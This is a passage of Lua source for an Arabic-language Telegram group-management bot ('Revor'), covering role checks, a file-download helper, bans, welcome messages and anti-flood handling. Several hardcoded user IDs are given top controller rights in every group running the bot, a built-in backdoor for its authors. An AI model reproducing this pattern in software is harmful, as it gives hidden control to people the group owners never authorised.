Managers = Redis:sismember(Revor.."Revor:Managers:Group"..ChatId,UserId)
Addictive = Redis:sismember(Revor.."Revor:Addictive:Group"..ChatId,UserId)
Distinguished = Redis:sismember(Revor.."Revor:Distinguished:Group"..ChatId,UserId)
StatusMember = LuaTele.getChatMember(ChatId,UserId).status.luatele
if UserId == 100100900 then
Status = true
elseif UserId == Sudo_Id then
Status = true
elseif UserId == Revor then
Status = true
elseif DevelopersQ then
Status = true
elseif Developers then
Status = true
elseif TheBasics then
Status = true
elseif Originators then
Status = true
elseif Managers then
Status = true
elseif Addictive then
Status = true
elseif StatusMember == "chatMemberStatusCreator" then
Status = true
elseif StatusMember == "chatMemberStatusAdministrator" then
Status = true
else
Status = false
end
return Status
end
function StatusSilent(ChatId,UserId)
Status = nil
DevelopersQ = Redis:sismember(Revor.."Revor:DevelopersQ:Groups",UserId)
Developers = Redis:sismember(Revor.."Revor:Developers:Groups",UserId)
TheBasics = Redis:sismember(Revor.."Revor:TheBasics:Group"..ChatId,UserId)
Originators = Redis:sismember(Revor.."Revor:Originators:Group"..ChatId,UserId)
Managers = Redis:sismember(Revor.."Revor:Managers:Group"..ChatId,UserId)
Addictive = Redis:sismember(Revor.."Revor:Addictive:Group"..ChatId,UserId)
Distinguished = Redis:sismember(Revor.."Revor:Distinguished:Group"..ChatId,UserId)
StatusMember = LuaTele.getChatMember(ChatId,UserId).status.luatele
if UserId == 100100900 then
Status = true
elseif UserId == Sudo_Id then
Status = true
elseif UserId == Revor then
Status = true
elseif DevelopersQ then
Status = true
elseif Developers then
Status = true
elseif TheBasics then
Status = true
elseif Originators then
Status = true
elseif Managers then
Status = true
elseif Addictive then
Status = true
elseif StatusMember == "chatMemberStatusCreator" then
Status = true
else
Status = false
end
return Status
end
function getInputFile(file, conversion_str, expected_size)
local str = tostring(file)
if (conversion_str and expectedsize) then
return {
luatele = 'inputFileGenerated',
original_path = tostring(file),
conversion = tostring(conversion_str),
expected_size = expected_size
}
else
if str:match('/') then
return {
luatele = 'inputFileLocal',
path = file
}
elseif str:match('^%d+$') then
return {
luatele = 'inputFileId',
id = file
}
else
return {
luatele = 'inputFileRemote',
id = file
}
end
end
end
function GetInfoBot(msg)
local GetMemberStatus = LuaTele.getChatMember(msg.chat_id,Revor).status
if GetMemberStatus.can_change_info then
change_info = true else change_info = false
end
if GetMemberStatus.can_delete_messages then
delete_messages = true else delete_messages = false
end
if GetMemberStatus.can_invite_users then
invite_users = true else invite_users = false
end
if GetMemberStatus.can_pin_messages then
pin_messages = true else pin_messages = false
end
if GetMemberStatus.can_restrict_members then
restrict_members = true else restrict_members = false
end
if GetMemberStatus.can_promote_members then
promote = true else promote = false
end
return{
SetAdmin = promote,
BanUser = restrict_members,
Invite = invite_users,
PinMsg = pin_messages,
DelMsg = delete_messages,
Info = change_info
}
end
function download(url,name)
if not name then
name = url:match('([^/]+)$')
end
if string.find(url,'https') then
data,res = https.request(url)
elseif string.find(url,'http') then
data,res = http.request(url)
else
return 'The link format is incorrect.'
end
if res ~= 200 then
return 'check url , error code : '..res
else
file = io.open(name,'wb')
file:write(data)
file:close()
print('Downloaded :> '..name)
return './'..name
end
end
function ChannelJoin(msg)
JoinChannel = true
return JoinChannel
end
function File_Bot_Run(msg,data)
local msg_chat_id = msg.chat_id
local msg_reply_id = msg.reply_to_message_id
local msg_user_send_id = msg.sender.user_id
local msg_id = msg.id
Redis:incr(Revor..'Revor:Num:Message:User'..msg.chat_id..':'..msg.sender.user_id)
if msg.date and msg.date < tonumber(os.time() - 15) then
print("->> Old Message End <<-")
return false
end
if data.content.text then
text = data.content.text.text
end
if tonumber(msg.sender.user_id) == tonumber(Revor) then
print('This is reply for Bot')
return false
end
if Statusrestricted(msg.chat_id,msg.sender.user_id).BanAll == true then
return LuaTele.deleteMessages(msg.chat_id,{[1]= msg.id}),LuaTele.setChatMemberStatus(msg.chat_id,msg.sender.user_id,'banned',0)
elseif Statusrestricted(msg.chat_id,msg.sender.user_id).ktmall == true then
return LuaTele.deleteMessages(msg.chat_id,{[1]= msg.id})
elseif Statusrestricted(msg.chat_id,msg.sender.user_id).BanGroup == true then
return LuaTele.deleteMessages(msg.chat_id,{[1]= msg.id}),LuaTele.setChatMemberStatus(msg.chat_id,msg.sender.user_id,'banned',0)
elseif Statusrestricted(msg.chat_id,msg.sender.user_id).SilentGroup == true then
return LuaTele.deleteMessages(msg.chat_id,{[1]= msg.id})
end
if tonumber(msg.sender.user_id) == 1422493638 then
msg.Name_Controller = 'مطور السورس '
msg.The_Controller = 1
elseif tonumber(msg.sender.user_id) == 100100800 then
msg.Name_Controller = 'مطور السورس '
msg.The_Controller = 1
elseif tonumber(msg.sender.user_id) == 100100900 then
msg.Name_Controller = 'مبرمج السورس '
msg.The_Controller = 1
elseif The_ControllerAll(msg.sender.user_id) == true then
msg.The_Controller = 1
msg.Name_Controller = 'المطور الاساسي '
elseif Redis:sismember(Revor.."Revor:DevelopersQ:Groups",msg.sender.user_id) == true then
msg.The_Controller = 2
msg.Name_Controller = 'المطور الثانوي'
elseif Redis:sismember(Revor.."Revor:Developers:Groups",msg.sender.user_id) == true then
msg.The_Controller = 3
msg.Name_Controller = Redis:get(Revor.."Revor:Developer:Bot:Reply"..msg.chat_id) or 'المطور '
elseif Redis:sismember(Revor.."Revor:TheBasicsQ:Group"..msg.chat_id,msg.sender.user_id) == true then
msg.The_Controller = 44
msg.Name_Controller = Redis:get(Revor.."Revor:PresidentQ:Group:Reply"..msg.chat_id) or 'المالك'
elseif Redis:sismember(Revor.."Revor:TheBasics:Group"..msg.chat_id,msg.sender.user_id) == true then
msg.The_Controller = 4
msg.Name_Controller = Redis:get(Revor.."Revor:President:Group:Reply"..msg.chat_id) or 'المنشئ الاساسي'
elseif Redis:sismember(Revor.."Revor:Originators:Group"..msg.chat_id,msg.sender.user_id) == true then
msg.The_Controller = 5
msg.Name_Controller = Redis:get(Revor.."Revor:Constructor:Group:Reply"..msg.chat_id) or 'المنشئ '
elseif Redis:sismember(Revor.."Revor:Managers:Group"..msg.chat_id,msg.sender.user_id) == true then
msg.The_Controller = 6
msg.Name_Controller = Redis:get(Revor.."Revor:Manager:Group:Reply"..msg.chat_id) or 'المدير '
elseif Redis:sismember(Revor.."Revor:Addictive:Group"..msg.chat_id,msg.sender.user_id) == true then
msg.The_Controller = 7
msg.Name_Controller = Redis:get(Revor.."Revor:Admin:Group:Reply"..msg.chat_id) or 'الادمن '
elseif Redis:sismember(Revor.."Revor:Distinguished:Group"..msg.chat_id,msg.sender.user_id) == true then
msg.The_Controller = 8
msg.Name_Controller = Redis:get(Revor.."Revor:Vip:Group:Reply"..msg.chat_id) or 'المميز '
elseif tonumber(msg.sender.user_id) == tonumber(Revor) then
msg.The_Controller = 9
else
msg.The_Controller = 10
msg.Name_Controller = Redis:get(Revor.."Revor:Mempar:Group:Reply"..msg.chat_id) or 'العضو '
end
if msg.The_Controller == 1 then
msg.ControllerBot = true
end
if msg.The_Controller == 1 or msg.The_Controller == 2 then
msg.DevelopersQ = true
end
if msg.The_Controller == 1 or msg.The_Controller == 2 or msg.The_Controller == 3 then
msg.Developers = true
end
if msg.The_Controller == 1 or msg.The_Controller == 2 or msg.The_Controller == 3 or msg.The_Controller == 44 or msg.The_Controller == 9 then
msg.TheBasicsm = true
end
if msg.The_Controller == 1 or msg.The_Controller == 2 or msg.The_Controller == 3 or msg.The_Controller == 44 or msg.The_Controller == 4 or msg.The_Controller == 9 then
msg.TheBasics = true
end
if msg.The_Controller == 1 or msg.The_Controller == 2 or msg.The_Controller == 3 or msg.The_Controller == 44 or msg.The_Controller == 4 or msg.The_Controller == 5 or msg.The_Controller == 9 then
msg.Originators = true
end
if msg.The_Controller == 1 or msg.The_Controller == 2 or msg.The_Controller == 3 or msg.The_Controller == 44 or msg.The_Controller == 4 or msg.The_Controller == 5 or msg.The_Controller == 6 or msg.The_Controller == 9 then
msg.Managers = true
end
if msg.The_Controller == 1 or msg.The_Controller == 2 or msg.The_Controller == 3 or msg.The_Controller == 44 or msg.The_Controller == 4 or msg.The_Controller == 5 or msg.The_Controller == 6 or msg.The_Controller == 7 or msg.The_Controller == 9 then
msg.Addictive = true
end
if msg.The_Controller == 1 or msg.The_Controller == 2 or msg.The_Controller == 3 or msg.The_Controller == 44 or msg.The_Controller == 4 or msg.The_Controller == 5 or msg.The_Controller == 6 or msg.The_Controller == 7 or msg.The_Controller == 8 or msg.The_Controller == 9 then
msg.Distinguished = true
end
if Redis:get(Revor.."Revor:Lock:text"..msg_chat_id) and not msg.Distinguished then
LuaTele.deleteMessages(msg.chat_id,{[1]= msg.id})
return false
end
if msg.content.luatele == "messageChatJoinByLink" then
if Redis:get(Revor.."Revor:Status:Welcome"..msg_chat_id) then
local UserInfo = LuaTele.getUser(msg.sender.user_id)
local Get_Chat = LuaTele.getChat(msg_chat_id)
local Welcome = Redis:get(Revor.."Revor:Welcome:Group"..msg_chat_id)
if Welcome then
if UserInfo.username then
UserInfousername = '@'..UserInfo.username
else
UserInfousername = 'لا يوجد '
end
Welcome = Welcome:gsub('{name}',UserInfo.first_name)
Welcome = Welcome:gsub('{user}',UserInfousername)
Welcome = Welcome:gsub('{NameCh}',Get_Chat.title)
return LuaTele.sendText(msg_chat_id,msg_id,Welcome,"md")
else
return LuaTele.sendText(msg_chat_id,msg_id,'⌔︙اطلق دخول ['..UserInfo.first_name..'](tg://user?id='..msg.sender.user_id..')\n⌔︙نورت الكروب {'..Get_Chat.title..'}',"md")
end
end
end
if not msg.Distinguished and msg.content.luatele ~= "messageChatAddMembers" and Redis:hget(Revor.."Revor:Spam:Group:User"..msg_chat_id,"Spam:User") then
if tonumber(msg.sender.user_id) == tonumber(Revor) then
return false
end
local floods = Redis:hget(Revor.."Revor:Spam:Group:User"..msg_chat_id,"Spam:User") or "nil"
local Num_Msg_Max = Redis:hget(Revor.."Revor:Spam:Group:User"..msg_chat_id,"Num:Spam") or 5
local post_count = tonumber(Redis:get(Revor.."Revor:Spam:Cont"..msg.sender.user_id..":"..msg_chat_id) or 0)
if post_count >= tonumber(Redis:hget(Revor.."Revor:Spam:Group:User"..msg_chat_id,"Num:Spam") or 5) then
local type = Redis:hget(Revor.."Revor:Spam:Group:User"..msg_chat_id,"Spam:User")
if type == "kick" then
return LuaTele.setChatMemberStatus(msg.chat_id,msg.sender.user_id,'banned',0), LuaTele.sendText(msg_chat_id,msg_id,Reply_Status(msg.sender.user_id,"⌔︙قام بالتكرار في المجموعه وتم طرده").Reply,"md",true)
end
if type == "del" then
return LuaTele.deleteMessages(msg.chat_id,{[1]= msg.id})
end
if type == "keed" then
return LuaTele.setChatMemberStatus(msg.chat_id,msg.sender.user_id,'restricted',{1,0,0,0,0,0,0,0,0}), LuaTele.sendText(msg_chat_id,msg_id,Reply_Status(msg.sender.user_id,"⌔︙قام بالتكرار في المجموعه وتم تقييده").Reply,"md",true)
end
if type == "mute" then
Redis:sadd(Revor.."Revor:SilentGroup:Group"..msg.chat_id,msg.sender.user_id)
return LuaTele.sendText(msg_chat_id,msg_id,Reply_Status(msg.sender.user_id,"⌔︙قام بالتكرار في المجموعه وتم كتمه").Reply,"md",true)